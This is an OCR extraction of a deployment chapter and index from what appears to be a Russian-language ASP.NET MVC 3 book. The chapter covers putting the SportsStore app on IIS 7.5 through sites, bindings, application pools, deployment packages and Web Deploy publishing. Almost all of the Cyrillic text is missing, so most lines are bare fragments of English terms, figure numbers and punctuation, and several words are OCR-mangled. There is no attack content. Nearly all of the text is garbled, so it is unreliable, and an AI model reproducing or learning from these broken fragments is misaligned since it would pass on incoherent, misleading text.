<Ctrl+S> Save Selected Items ( )
File ().

654

III. ASP.NET 3

IIS
IIS , Windows.
2 , IIS 7.5 ,
Windows Server 2008 R2.
IIS.

-
IIS -.
-
, IIS
, .
HTTP- -, IIS
(binding).
IP-, TCP HTTP
- (. 23.9). .

. 23.9. -
IIS 7



- .
IIS ,
- (. 23.10).

. 23.10. , IIS
,
.
ASP.NET, -.

23.

655


IIS
-, .
,
{ ),
, ,
.. - ( ,
)
. , -
.

- , IP-
-,
. ,
-
, .
( , , -
80).
.
IP- ( IP-
,
).
- .
: ,
-. -
.
-.


HS,
MVC-. IIS 7, -
.
1. IIS StartoAdministrative Tools (^).
2. , ,
Sites (). - (, D e f a u l t
W e b s i t e ) ,

.
3. -, Sites
Add Web Site ( -).
Site name ( ).
,
S p ortsS to re.
4. , .
C :\ S p o rtsS tore.

656

III. ASP.NET MVC 3

5. . IP-
, Binding () .
.
. 23.11 Add Web Site ( -),
SportsStore.

. 23.11. -

SportStore

?
. IIS
: \Inetpub\wwwroot\ - Default Web
Site, .
, (,
:\ w e b s i t e s \ e x a m p l e .\).
, .

-
-, IIS,
. 23.12.

. 2 3 .1 2 .

23.

657

, S p o r t s S t o r e ,
, -,
IIS. , -,
.
, , Yes ().
IIS ,
.NET 2. , Application Pools (
) IIS (IIS Manager),
S p o r t s S t o r e Basic Settings ( ). .NET
Framework version ( .NET F ra m e w o rk ) 4,
. 23.13. . .

. 2 3 .1 3 .
.NET 4



MVC IIS. ,
.
! , ,

. ,
. 23.4, ,
Build ().



.
:
.NET ( /bin);

(W e b . c o n fig

G lo b a l. asax);

(* . cshtm l);
(, CSS JavaScript).
. ,
, , , b in .
,
.

658

III. ASP.NET 3

C#

(*

. cs,

G lo b a l. a s a x . cs

);

(* . s i n ,

, (, . s v n
Subversion , h g . g i t
Mercurial Git).

* . suo, * . c sp ro j

* .csproj

. u s e r );

\ o bj:

,
1IS. C : \ S p o r t S t o r e . . 2 3 .1 4
. ,
IIS - S p o r t s S t o r e , Content ()
.

. 2 3 .1 4 . S p o r t s S t o r e

,
. W e b . c o n f i g
, , ..

.
S p o r t s S t o r e ,
. ,
W e b . c o n f i g ,
,
. .
,
.
, ,
.
,
. U R L , . 23 .1 5 .
,
.
.


(deployment package) zip-,
. Visual Studio ,
,
IIS.

23.

659

. 2 3 .1 5 .

W e b .c o n fig
,
.

! Web Deployment:
. 2.



, Projects Build Deployment Package (^
). Visual Studio zip-,
, ,
, . zip-
obj\R elease\Package\<H M ^ > . z i p
Visual Studio o b j \ R e le a s e \ P a c k a g e \ S p o rts S to re .W ebUI. z ip .

. , ,
Package/Publish W eb (/ ) .


, Visual Studio,
, .
I1S - S p o r ts S to re . Import
Application ( ) , . 23.16.
(Im port Application Package).
zip- Next ().
,
. 23.17.
,
. ,
, . , ,
, . (
, 7.)
Next.
(. 23.18).

III. ASP.NET 3

. 23.16.

. 2 3 .1 7 . ,

. 2 3 .1 8 .

23.

661

A p p l i c a t i o n , - .
,
, . -
,
.
,
.
,
Web . c o n fig ( ,
Web. con fig). Next,

-.
.
,
. 23.19.

. 23.19.

Finish (), . (
) .



, ,
. (one- click pub
lishing), Visual Studio.
! Web Deployment,

. 2.


Publish ()
Publish < Build ().
Publish Web ( ), . 23.20.
Visual Studio ,
Web Deploy ( ),
Publish method ( ).
Service URL (URL )
https ://< > :8172/MsDeploy.axd

662

III. ASP.NET MVC 3

. 23.20. Publish W eb
, .
, HTTPS.
HTTP. Site/application (/) ,
. SportsStore, ..
-.
Mark as IIS application on destination ( IIS ) Allow untrusted certificate (
),
. 2, Web
Deploy
.
.
Publish ().
, ,
(
).

, .
,
, .
.
,
,
.

Ajax (Asynchronous JavaScript and XML), 545;


548
Ajax-, 555
ASP.NET MVC. 20: 26; 30
MVC, 27
3, 33
, 44
ASP.NET Web Forms, 21; 31
Asynchronous Programming Model (), 415

Behavior-driven development (BDD), 24

JQ ueiy UI. 589


JQuery UI ThemeRoller, 590

L
LINQ (Language Integrated Query), 30
LINQ to Objects. 113

M
Model-view-controller (MVC), 20; 27; 69
Model-view-presenter (MVP), 75
Model-view-view model (M W M ), 75
MonoRail, 32
Moq, 125; 144
MVC Framework, 37
, 611

Cookie-Ha6op, 597
Cross-Site Request Forgery (CSRF), 607

D
Data access layer (DAL), 74
Dependency injection (DI), 82; 154
Domain-driven development (DDD), 76

N
Ninject, 125; 126
Node.js, 26
NUnit, 125

Open Source Initiative (OSI), 30

E
Entity Framework (EF), 162

F
Firebug. 599

H
HTTP. 597
I
IIS, 654
IIS 7.5, 39
, 39
IIS Express, 37
Inversion of control (IoC), 82

J
JavaScript Objcct Notation (JSON), 356; 560
JQuery. 567: 574
, 575
, 587
, 577; 578
JQuery IntelliSense, 571

R
Razor (Razor View Engine), 33; 95; 113; 417;
423:601
REST (Representational State Transfer), 23
Ruby on Rails, 25

s
Secure Sockets Layer (SSL), 37; 256
Sinatra, 25
SQL Server 2008 R2 Management Studio
Express, 38

T
Task Parallel Library (TPL), 410
Test-driven development (TDD), 24: 88

u
URL, 285
URL, 309
URL, 297
URL, 287
URL, 286

664

V
Visual Studio, 34; 273
, 34
Visual Studio 2 0 1 0 Ultimate Edition, 35
, 35
Visual Web Developer Express, 34

w
Web Developer Toolbar, 599
Web Platform Installer (WebPI). 36
Web site administration tool (WAT), 624
Windows Presentation Foundation (WPF), 75

, 388; 45 7
, 388
3

GET, 330: 597


HTTP, 597
POST, 330; 597

X
X S S , 431- 433:600

A
, 250; 613
, 78
, 73

--
(MVC), 27
- ( M W M ) , 75
--
(MVP). 75

X S S , 43 1- 433:600

(CSRF), 60 7
, 365
, 522
, 613
Windows, 613
, 615

, 611

Moq, 144
Ninject, 126
WebPI, 36

IActionFilter, 37 6
IActionlnvoker, 397
IAuthorizationFilter, 367
LAuthProvider, 251
ICalculator, 425
IClientValidatable, 539
IController, 331; 40 6
IControllerActivator, 397
IControllerFactory, 391; 40 6
IExceptionFilter, 372
IMembersRepository, 83
IOrderProcessor, 21 6
IQueryable<T>, 113
IResultFilter, 378
IRouteConstraint, 305
IRouteHandler, 322
IValidatableObject, 524
IValueCalculator, 126; 134
IView, 41 9
IViewEngine, 418; 42 0
smart UI. 72

-, 414

jQuery, 28; 572; 588

jguery Validation, 535


(TPL), 41 0

, 105

, 65 4

AccountController, 253
ActionExecutedContext, 378
ActionExecutingContext, 376
ActionFilterAttribute, 380
ActionMethodSelectorAttribute , 401

AdminAreaRegistration, 324
AdminController, 84
AjaxOptions, 549; 558
Appointment, 508; 545
AppointmentController. 508; 546
AreaRegistrationContext, 325;
AuthorizationContext, 369
AuthorizeAttribute, 370
BasicController, 332
Chart, 448
Controller, 333
ControllerContext, 369
CustomControllerFkctory, 391
DefaultControllerFactory, 393
DefaultModelBinder, 517
EfDbContext, 166
EmailAddressAttribute,
539
*
EmailOrderProcessor, 217;
ExceptionContext, 373
FakeRepository, 138; 145
FormsAuthProvider, 251
GuestResponse, 54
HandleErrorAttribute, 374
HomeController, 47
JsonResult, 356
LegacyController, 318
LegacyRoute, 19
LogOnViewMouel; 252
ModelMetadata, 482; 525
ModelMetadataProvider, 483
MustBelYueAttribute, 541
MvcHtmlString. 432; 601
NinjectControllerFactory, 155
PagingHelpers, 170
Paginglnfo. 170
PasswordResetHelper, 82
RedirectResult, 340; 341
RouteCollection, 287; 308
RssActionResult, 361
ShippingDetails, 212
ShoppingCart, 99; 343
TagBuilder, 436; 437
Templatelnfo. 480
ViewData, 349
ViewDataDictionaiy, 349
ViewResult, 343
WebGrid, 444
WebMail, 450
, 472
, 472

665

, 123

, 428
, 428
, 46; 70; 115
CRUD, 226
, 408; 410

, 300
, 409


Controller, 332
IController, 331
, 340
, 302; 390

, 388

-, 105

(route), 285
, 302
. 304
, 298
, 287
, 293
, 48; 283
, 306

jQ u eiy
, 582
, 216;
459

Razor. 33; 95; 113; 417; 423; 450


, 54; 70; 162

,522
,
, 498
, 61; 76; 487; 524
. 507
, 524
(model binder), 488,
503

Firebug, 599
Web Developer Toolbar, 599

666

cookie, 597



, 498
Visual Studio, 273

ASP.NETMVC, 20; 26; 30


ASP.NET Web Forms, 21:31
MonoRail, 32
MVC Framework, 37
Node.js, 26
ORM, 162
Ruby on Rails, 25; 32
Sinatra, 25
, 620
, 482
, 525
, 48: 417
, 508
, 347
, 453
, 456
(binding), 654
(model binding), 61: 76; 487

SSL. 256
,620
(alias). 294

, 294

, 655
, 408

, 654

, 639
bin, 641
, 658
, 657
, 657
. 659

(section), 450

, 453
, 450
,620

, 132

(session hijacking), 606


, 285
, 297
, 298
(catch-all), 298
, 299
, 286; 295
, 296

, 294
, 575
, 576
, 400

I1S, 654

jQuery, 587

(), 541

Ajax, 555
URL, 285

, 599

, 93
, 86; 151; 220; 228; 240; 247;
255; 261
(breakpoint), 274

.cshtml, 427
Global.asax.cs, 284
Index.cshtml, 50
_Layout.cshtml, 123
StaticContent.html, 306
Web.config, 625

, 364; 577
, 367
, 386
, 382
, 373
, 578
,579

. 57; 437

JSON, 356; 560

, 620
, 624

URL (URL pattern), 285


, 286
, 286
, 293
, 478
, 477
MVC Framework
, 470
, 478

, 475
, 461